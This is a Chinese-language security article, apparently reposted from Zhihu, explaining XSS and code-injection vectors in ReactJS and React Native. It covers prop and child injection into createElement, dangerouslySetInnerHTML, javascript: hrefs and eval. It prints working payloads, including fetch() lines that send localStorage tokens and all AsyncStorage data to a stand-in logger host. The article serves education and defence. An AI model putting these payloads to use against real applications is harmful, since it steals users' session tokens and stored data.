ReactJS 中的代碼注入
ReactJS 概述
ReactJS是一款用于構建用戶界面的JavaScript庫。它能預加載Web前端,給用戶帶來更舒適的體驗。React已經實現了絕大部分的客戶端邏輯(比如說React能自動編碼字符串),因此開發者大抵不用擔心XSS攻擊。
因此,只要合理使用React,你的應用就不會有太大的安全隱患。然而這些防御措施還是會因為壞的編程習慣而失效,比方說:
- 使用客戶端提供的對象來創建React組件
- 通過用戶提供的href或者其它可注入的屬性來渲染鏈接
- 在React中使用dangerouslySetInnerHTML
- 把用戶提供的數據傳給eval()
就像墨非定律說的那樣,這些隱患隨時都會產生漏洞。讓我慢慢道來。
Components, Props和Elements
Component(組件)是ReactJS最基本的對象。它們就像JavaScript的函數一樣,接受任意輸入(就是后文的props)并返回一個React Element(元素)。一個基本的component如下:
class Welcome extends React.Component {
render() {
return <h1>Hello, {this.props.name}</h1>;
}
}
注意看奇葩的return,它返回的東西叫JSX。JSX是JavaScript語法的擴展,它會被自動轉譯成正常的JavaScript(ES5)代碼。就拿下面的代碼來說,雖然它們形式不一樣,但功效相同:
// JSX代碼
const element = (
<h1 className="greeting">
Hello, world!
</h1>
);
// 被轉譯過后的代碼
const element = React.createElement(
‘h1’,
{className: ‘greeting’},
‘Hello, world!’
);
在React中,開發者可以用createElement()來從component類中創建新的元素:
React.createElement(
type,
[props],
[...children]
)
這個函數用了這三個參數:
- type可以是HTML標簽的名字(比如div,span),或者是一個component類。不過在React Native中,這個參數只能被傳入component
- props是一個包含了許多屬性的列表,并且這些值要被傳給element
- children包含了新元素的子節點
當你控制了其中的參數,你可以發動許多攻擊
注入子節點
在2015年3月,Daniel LeCheminant匯報了一個 HackerOne的存儲形XSS 。導致這個問題的原因是HackerOne會將客戶端提供的一個對象當作children傳給React.createElement()。代碼大概如下:
/* 獲取用戶提供的參數,并將其當作JSON解析
attacker_supplied_value = JSON.parse(some_user_input)
*/
render() {
return <span>{attacker_supplied_value}</span>;
}
JSX會被轉譯成這樣: React.createElement("span", null, attacker_supplied_value};
當attacker_supplied_value是字符串時,該代碼會返回一個span元素。不過在參數為簡單對象時,這個函數也會正常執行。Daniel在props中添加dangerouslySetInnerHTML來阻止React轉碼HTML:
{
_isReactElement: true,
_store: {},
type: "body",
props: {
dangerouslySetInnerHTML: {
__html:
"<h1>Arbitrary HTML</h1>
<script>alert(‘No CSP Support :(‘)</script>
<a href=’http://danlec.com'>link</a>"
}
}
}
后來,React的元素需要有屬性$$typeof: Symbol.for('react.element') 才能被正確識別。因為在注入對象時不能引用全局JavaScript Symbol,Daniel的方法也就隨之失效了。
控制Element類型
雖然注入簡單對象這個方法不能使用了,但是createElement的type參數支持字符串,因此注入component也還是有可能的。假設有以下代碼:
// 用后端提供的字符串創建element
element_name = stored_value;
React.createElement(element_name, null);
如果stored_value被攻擊者控制,那么可以通過其創建任意React component。不過這樣也只能創建簡單的HTML元素。為了更好地利用,攻擊者必須控制新建元素時的屬性參數。
注入props
我們來看看一下代碼:
// 解析攻擊者提供的JSON并傳給createElement中
// 危險代碼,請勿模仿
attacker_props = JSON.parse(stored_value)
React.createElement("span", attacker_props};
我們可以以此注入任意props參數,比方說開啟dangerouslySetInnerHTML:
{"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}}
傳統XSS
一些傳統的XSS攻擊向量也可以被應用到ReactJS中,我將列舉一些情況:
設置了dangerouslySetInnerHTML
開發者可能因種種原因啟用了dangerouslySetInnerHTML: <div dangerouslySetInnerHTML={user_supplied} />
很顯然,當你控制了它的參數后,你可以注入任意JavaScript代碼
可注入的屬性
如果你控制了一個動態創建的a標簽中的href屬性,那么便可以嘗試注入javascript:偽協議。還有一些HTML5的屬性(formactin),也可以被用來當攻擊點。
<a href={userinput}>Link</a>
<button form="name" formaction={userinput}>
當瀏覽器支持HTML5的import時,如下代碼也會生效: <link rel=”import” href={user_supplied}>
服務端渲染的HTML
為了減少頁面加載的時間,人們漸漸傾向于在服務端預渲染ReactJS。在16年11月, Emilia Smith 指出因為缺乏轉碼, Redux 的服務端預渲染代碼會導致XSS。
當然,只要在預渲染時缺乏轉碼,任何Web應用都會有類似問題。
基于Eval的代碼注入
當你控制了一個被傳入eval到執行的字符串,執行自己的代碼便不在話下。不過這種情況鳳毛麟角。
function antiPattern() {
eval(this.state.attacker_supplied);
}
// Or even crazier
fn = new Function("..." + attacker_supplied + "...");
fn();
持久化 session
對于現代Web應用而言,session cookies已經過時了。身處時代前沿的開發者一般在用無狀態的session tokens,并將其存儲在客戶端的local storage。因此我們也要改變攻擊手段了:
fetch('http://example.com/logger.php?token='+localStorage.access_token);
React Native 中的注入
React Native讓你可以用ReactJS在移動端編寫程序,然而前文提到的手段大多在React Native中不管用:
- React Native的createInternalComponent只接受被標簽過的component類。即使你能控制createElement的所有參數,也不能創建任意元素。
- HTML屬性不能使用,并且HTML不會被解析,因此一般基于瀏覽器的XSS(比如href)不能正常執行
只有基于eval的攻擊才能被執行。不過當你成功地執行了JS時,就能使用React Native的API來做破壞力更強的事,比如通過AsyncStorage盜取local storage的所有數據:
_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});
總結
即使React安全防御先天良好,壞的編程習慣依然會帶來種種漏洞。我給大家帶來兩個忠告:
- 對于安全研究員:給每一個參數注入JavaScript或者JSON,可能會有意外的驚喜
- 對于開發者:千萬不要使用eval()或dangerouslySetInnerHTML。盡可能地少解析用戶提供的JSON
來自:https://zhuanlan.zhihu.com/p/28434174